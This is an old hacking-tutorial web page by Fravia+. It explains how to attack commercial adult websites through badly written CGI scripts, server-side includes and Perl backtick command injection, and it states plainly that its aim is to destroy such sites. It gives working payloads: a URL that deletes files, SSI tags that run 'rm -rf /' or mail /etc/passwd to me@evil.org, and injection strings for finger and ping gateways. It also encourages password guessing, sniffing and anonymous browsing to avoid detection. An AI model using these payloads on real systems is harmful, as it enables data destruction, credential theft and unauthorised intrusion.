(CGI Security and CGI Insecurity)
~
(How to exploit CGI-script, server side includes and perl ticks)
(How to see a smut site going Ka-boom! under your very eyes)
~
By Fravia+, Started 27 November 1997
Page severely under construction... SEND MORE CONTRIBUTIONS!
Well all this is more hacking than cracking, yet we'll try to bring
everything inside a sound cracker perspective... some hacking knowledge is required
anyway, so acquire it, here some information (edited and integrated) from Eugene Kim (who
knows) and myself (who guesses).
Our main aims
Well, we want to destroy, or lame, or at least damage commercially all commercial oriented
sites that are pestering the Web.
Therefore we want, more or less, the following:
*) know which server operating system they are using *) know which CGI-language they are using (compiled or interpreted) *) know WHERE their CGI-scripts are, how they work and what they do *) gain information about their directory structure *) gain information about their server configuration *) gain access to the source code of their CGI-scripts *) introduce our own scripts (trough various tricks) *) gain access to their server configuration files *) fuck completely and if possible irrimediably the whole site
Which operating system are more easy to bust?
No operating system is more secure than another. The ones that say such things are just
probably trying to sell (or have just bought) a specific operating system.
Yet UNIX is arguably more secure than a single-user platform such as a Macintosh or a PC
running Windows, because once you break into one of these latter machines, you can access
all the files :-)
UNIX, however, has a fundamental understanding of file ownerships and permissions. Yet
even if the target server is configured so that it is owned by a safe (for example,
non-root) user, which is the best option that the sysad can choose, and even if, then, we
can do only limited damage breakíng in, this same limited damage, however, can be bad
enough, as you will see in my examples, later in this chapter.
On the other hand, because UNIX often comes preconfigured with many different types of
network services such as mail, FTP, Gopher, WWW, and so on, there are more potential
"doors" for someone to enter. Securing all of these services is a difficult and
time-consuming process, even for the few experienced administrators around, that's the
reason they don't actually check them all too often :-) And even if they configure
everything "correctly" (from their point of view), they are still at the mercy
of the many bugs that exist in each individual commercial package.
Security flaws in various packages are very common, as is clear from the frequency of
notices about insecurities... just have a look at the Computer Emergency Response Team
(CERT) site (which you should by all means peruse and study :-)
Every different platform has its own different security implications, but one is not
more secure than another. In order to begin approaching this kind
of activities, remember that there are a countless number of Web servers available for a
variety of platforms. As a rule of thumb: the older and more frequently used the Web
server, the more likely security bugs have been found and yet have NOT been fixed.
You may not believe it, but the 'snowball' effect inside the Web makes it possible that
VERY WELL KNOWN and DEEPLY STUDIED AND ADVERTISED bugs and backdoors are STILL THERE!
Therefore study, read, study and read.
Read what people on the various Web Usenet newsgroups have to say about each product
and its authors or publishers. Read the various security alerts from organizations such as
CERT and CIAC (Computer Incident Advisory Capability). Monitor the best hacker sites
(you'll be able to find most of them even if your search start from my few hacker links, yet you better
use -wisely- a couple of search engines for this endeavour :-)
Study the servers' code if it is freely available... which is the RULE for the most
popular servers... that's the very reason they are so popular! I have fetched the whole
Apache libraries recently on a discount magazine cover cd-rom... without even the need to
download them and clutter my harddisks :-)
So, if the code is freely available, look through the source code yourself and see if you
can find a new potential hole. Most of the time you will... the more complex and powerful
the server, the more likely there is an undetected security hole... and most new 'hurried
up' sites, like many of the commercial smut ones, have chosen the 'last server frill'
instead of using good old NCSA :-)
CGIs, where are you?
As discussed earlier in cgi-script reversing page one; most Web servers enable you to run CGI programs in many different ways. For example, they could have designatet a specific directory as user cgi-bin. Alternatively, they could allow CGI to be stored in any user directory (i.e. in almost any directory)
There are advantages and disadvantages to both, from a security standpoint, it is better to designate one directory to store all CGI applications. Having all CGI programs in one directory makes it easier for lazy sysadmins to keep track of all of the applications on their server and to audit them for potential security holes. It also helps them to prevent our tampering: if the scripts are located in several different directories, they need to constantly check each one of these for our tampering activities :-)
If our target uses a scripting language (such as Perl) for most of its applications,
then the source code is contained within the application itself. This code, then, is
potentially vulnerable to being read, and exploited, if the sysads of the target have not
been extremely careful!
There are very simple attempts that you can try yourself in order to get the source code
of the CGI-scripts (once you know their names, have seen how they work and what they do
and having decided which one are potentially the most useful ones to be used as
"Troian horses")
For example, many text editors save backup files, usually appending some extension to the
end of the filename (such as .bak).
For example, many operating system create temporary files, usually appending some
extension to the end of the filename (such as .tmp) and preceding the filename with a ~
(such as ~wrl0001.tmp).
For example, emacs saves backup files with the extension filename~. Suppose that there is a CGI script written in Perl—program.cgi—stored in one of the Web data directories rather than in a central designated directory. Now suppose that the sysadm has made a trivial change to the program using emacs and forgot to remove the backup file. You now have two files in your target directory: program.cgi and program.cgi~. The Web server knows that files ending in .cgi are CGI programs and will run the program rather than display its content (yet we'll see how to get those files 'sended over' too). However, a smart cracker might try to access program.cgi~ instead. Because it does not end in .cgi, the target Web server sends it as a raw text file, thus allowing the cracker to search at leisure the CGI source code for possible holes!
However, if the target server specifies all files located in a certain directory as a CGI, it doesn't matter what the extension of the file is. So in the same example earlier, if the backup file were located in a properly designated directory (the cgi one, as opposed to some user's 'perypheric' directory) and a cracker tried to access it, the server would try to run the program EVEN WITH ITS EXTENSION "cgi~" rather than send over to us the source code.
You may ask why the sysads don't do it routinely... well: designating a central
directory as the location of all CGI programs on a server is extremely limiting,
especially on a multiuser system. For example, all Internet Service Provider want to allow
their users to write and run their own CGI, for concurrence reasons, and are inclined to
allow CGI to be stored in any directory.
Usually sysads allow spreaded CGI-depositories if their clients are
going to be writing a lot of special customized scripts!
That suits us well: commercial smut dealers (and commercial advertisers too for that
matter) are the most prolific writers of special customized scripts that you can find
around :-)
Another issue regarding the location of CGI programs is where did they put the interpreter. For interpreted scripts, the server runs the interpreter, which in turn loads the script and executes it.
Unfortunately the interpreter is seldom located inside the target cgi-bin directory (or
in any directory of our targets' data trees for that matter).
Giving us access to the interpreter essentially gives us the power to run any application
or any series of commands on the target system.
I remember early days, when I could bust a lot of commercial sites that way... now it
happens seldom, yet occasionally it does and that's real fun! The whole target goes
KA-boom! under your very eyes!
This is more easy if the target uses a Windows or other non-UNIX operating system, as
it happens ofter and ofter nowadays :-)
In UNIX, they specify the interpreter in the first line of their scripts. For example:
#!/usr/local/bin/perl # this first line says use Perl to run the script that follows ...
In Windows, for example, there is no analogous method of specifying the interpreter within the script. One way to call a Perl script would be to create a batch file that calls Perl and the script:
rem progname.bat rem a wrapper for my perl script, progname.pl c:\perl\perl.exe progname.pl ...
However, they often avoid creating this extra program by simply putting perl.exe in their cgi-bin directory and accessing the following URL:
http://hostname/cgi-bin/perl.exe?progname.pl
AS soon as you see something like this perusing the web you know that a VERY big fish has bited! The above method works orright, but it also enables anyone in the world to run any Perl command on that machine.
Access imemdiately, for example, the following URL in your target machine:
http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B
Decoded, the previous line is equivalent to calling Perl and running the following one-line program, which will delete all the files in the current directory.
unlink <*.*>;
Clearly, this is great fun (and it is only a very 'quiet' example... download the Perl Camel book and learn a little Perl... THAT will give some pepper to your web perusing activities :-)
Some Windows servers can determine the type of script by its extension and run the appropriate interpreter. For example, Win-HTTPD assumes every CGI script ending in .pl is a Perl script and will run Perl automatically.
SSI strategic simulation? No: server-side include!
By allowing server-side include, commercial smut sites offer some attack points.
On a UNIX machine, the programs are run by the owner of the server, not the owner of the
program. If the target server isn't "properly" configured and there are
sensitive files or programs owned by the server owner, as it happens frequently, these
files and programs, and their output, become accessible for us
This is even more feasible if they allow users to edit HTML files on their systems from
Web browsers!
A common example of this is a guestbook. In a guestbook, users fill out a form and
submit messages to a CGI program, which will often simply append the unedited message to
an HTML file, the guestbook itself.
By not editing or filtering the submitted message, they allow the user to submit HTML code
from his browser. If they allow programs to be executed in a server-side include, we can
wreak havoc to our target machines by submitting a tag like the following:
<!--#exec cmd="/bin/rm -rf /"-->
This server-side include is very useful for smut-sites bashing: it will attempt to delete everything it can on the target machine.
Note that the sysads try to prevent this problem in several ways without having to completely turn off server-side includes. They try to filter out all HTML tags before appending the submitted text to the guestbooks. Or they disable the exec capability of our server-side include.
Attacking should not be made in a hurry, anyway, it is often more clever to profit of
these first 'breaks' in order to gain even more information, in order to destriy even
better the target smut site!
Suppose that instead of attempting to delete everything on the smut site's disks, we
attempt to obtain the sysads /etc/passwd for hopeful cracking
purposes... using something like the following:
<!--#exec cmd="/bin/mail me@evil.org < /etc/passwd"-->
This examples demonstrate a VERY IMPORTANT TRUTH about both server-side includes and
CGI in general: Security holes can be completely hidden. Few people know that a simple
guestbook program on a system with server-side includes poses a large security risk!
Besides a 'normal' server has at least 100 different CGI-scripts written by not less than
25-30 different authors!
Social engineering can also help a lot... most authors brag about their (pathetical)
CGI-scripts, with source code and everything, on their own homepages!
So, we have seen some very complicated ways to access the cgi-source, yet with HTTP it
is trivial to bypass a form (or even the browser) and remotely access the SCRIPT directly
from the COMMAND LINE of your workstation.
telnet www80 connect www.slac.stanford.edu ;special site for demonstration purposes escape character is '^]' GET /cgi-bin/pingre?foo;mail+hcu4412@hotmail.com
You dig it? It would be a good idea to try routinely not only telnet, but also all
other 'forotten' services: ftp, tftp, nntp, bootp...
Of course the directories that you should try to investigate (if NFS mount has not been
turned off) are first of all cgi-bin; cgi-wrap; tmp; public_html...
Directory indexing is mostly disabled through a very simple trick: they put an empty
index.html file inside a directory, there are a few easy way to get around this, as you
should be able to understand by yourself :-)
A common way to control access to files is based on the IP access control (say
restrictin access to nodes with IP address= 210.56.*.* yet this cannot work for the smut
sites, which are struggling to get lusers from wherever they come. A good idea is, anyway,
to bang around the web using a dynamic IP provider (a multi user host like AOL or
Compuserve, or whatever), that will not cost you anything at all (see 
for information about free anonymous web
surfing) and is very seldom IP-restricted, for obvious reasons.
Most smut sites (most sites for that matter :-) have a list of 'authorized' users each
with an assigned user name and password, as we have seen, some servers also support groups
of users. When a protected file or image or directory is accessed, the browser pops up a
dialog box asking for the user name and password, and gives access if valid, else throws
up an 'authorization failed' URL.
Yet:
- There is a significant administration overhead for maintaining such lists, and therefore these lists are NOT updated all too often... - Stupid user park must remember these passwords and tend to use the same schemes (see a general approach) that are easy to guess. Automated password generation (that users dislike) is also fairly easy to crack :-) - Most web servers allow an infinite number of guesses! - Passwords are NOT encrypted (not even on military servers :-) and therefore are vulnerable to our sniffers
This last point deserves some more information. Encryption on the web is a huge area,
and if you want to learn it really you'll be gone for the next three years (yet some very
good (and old) crackers have taken that path, let's hope they will bring something back
before they die :-).
There are two current standards for REAL encryption:
- Secure Socket Layer (SSL) from Netscape
- S-HTTP from the CommerceNet coalition
They both use pair of keys, a public one and a private one.
They work like PGP: you encrypt a message with your private key and only people that know
your public key can decrypt the message AND know that it is yours, i.e. it is also like a
signature.
People encrypt messages with your public key and only you can decrypt them, since you are
the only one that knows his own private key.
SSL Connection ping-pong:
- browser connects to server via HTTPS
- server sends back digital signature
- browser verifies digital signature (signed by a trustworthy CA)
- if OK browser generates a master key based on a random number, encrypts with server's
public key and sends to server
- server decrypts master key trough its private key
- browser and server generate session key based on master key and random numbers and now
have both an identical session key
- data between browser and server is encrypted using said session key
Sounds impressive when you read it like that, doesn't it? And yet +ORC has already cracked
it :-)
Perl ticks
Let's go back to some other CGI-script tricks... which are IMO great fun: time to learn
and use the Perl ticks!
Observe the finger gateway written in Perl inside Kim's Listing below. All this program is
doing is allowing the user to specify a user and a host, and the CGI will finger the user
at the host and display the results.
Listing: finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require 'cgi-lib.pl';
print &PrintHeader;
if (&ReadParse(*in)) {
print "<pre>\n";
print `/usr/bin/finger $in{'username'}`;
print "</pre>\n";
}
else {
print "<html> <head>\n";
print "<title>Finger Gateway</title>\n";
print "</head>\n<body>\n";
print "<h1>Finger Gateway</h1>\n";
print "<form method=POST>\n";
print "<p>User@Host: <input type=text name=\"username\">\n";
print "<p><input type=submit>\n";
print "</form>\n";
print "</body> </html>\n";
}
At first glance, this might seem like a harmless finger gateway. There's no danger of a buffer overflow because it is written in Perl. It uses the complete pathname of the finger binary so the gateway can't be tricked into using a fake finger program. If the input is in an improper format, the gateway will return an error, but not one that can be manipulated by us.
However, what if we try entering the following field:
nobody@nowhere.org ; /bin/rm -rf /
Work out how the following line of the perl script above will deal with our input:
print `/usr/bin/finger $in{'username'}`;
Because we are using back ticks (`), first it will spawn a shell.
Then it will execute the following command:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
What will this do? Imagine typing this in at the command line. It will wipe out all of
the files and directories it can, starting from the root directory. OK: we assume that the
rm command was in the /bin directory.We could also have assumed that rm was in the path.
On a chrooted environment that does not have the rm binary located anywhere in the
directory tree this would not have worked... however, both of the guesses above are pretty
reasonable guesses for the majority of UNIX machines, yet they are not global truths: In
reality, most Web environments are not chrooted, simply because it prevents the
flexibility many people need in a Web server.
This will also almost always work unless they have rendered the semicolon (;)
metacharacter harmless.
Even if we could not remove all the files in a target smut site because the server was not running as root, we could just as easily have tryed to input the following command, which would have e-mailed the /etc/passwd file to me@evil.org for our cracking pleasure :-)
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
This follows the same principle as above... by now you should be able to understand how
and why :-)
Let's see another example: say you find (or suppose :-) a (poor) shell script called
"pinger" or whatever, inside the cgi-bin of your target smut site, looking more
or less like this:
#!bin/sh host='ping -c 5 $1'
Now imagine futtering that with an argument like:
foo; mail hcu2234@hotmail.com < /etc/passwd
And you can spend the weekend cracking the password file :-)
As you can see, if such holes slip past the sysads inside a simple CGI program, you can be sure that they will never have properly and securely configured their complicated UNIX system and Web server :-)
Notice that the file you are 'asking' for does not have to be /etc/passwd... it could
be any file accessible to the server (including afs and nfs), like (for instance) the
drafts of the examination tests you would have to solve tomorrow at your local university
(and university servers are, if possible, even less secured than the smut sites' ones :-)
Knowledge -not money any more- means now power my dears... we have entered a new age...
get used to this.
Notice that there are several more functions in Perl that spawn the
shell than there are in C. It is not immediately obvious, even to the intermediate Perl
programmers, that back ticks spawn a shell before executing the program. This is the
alternative value of higher-level languages for cracking purposes, as we know from our
software reversing studies: our enemies mostly don't know what security holes a function
might cause because they don't necessarily know exactly what it does, don't forget that
they DON'T UNDERSTAND SOURCE CODE and have only access to some (biased) high level
languages books... but we do understand assembly, oh yes, we do! And we can beat them
black and blue every time we like...
That is, we may, if we study and experiment a lot... and if we will build on each other
using the real strenght of Internet: free non commercial team working! People coming from
places that you don't even know exist will help you to understand better than anybody else
all these complex matters in few weeks on a "do ut des" basis!
For an incredible example of the incredible MIGHT (in matters of software cracking) that
the Web allows, if non-commercial minds gather together and work for free on some
projects, see our students'
essays pages !
Yes: reading all this stuff here won't help you much, nor help me at all, unless you work
on this on your own AND CONTRIBUTE!
Let's start a CGI-reverse engineering academy!
Good luck, good hunt!
Antismut main page A general approach
combing i.e. how
to find the "commercial smut" sites source checking
i.e. how to exploit their intrinsic weaknesses cgi-script one
CGI-tricks, page one Fravia's main site
homepage links anonymity +ORC javascript wars academy database bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+ Is reverse engineering legal?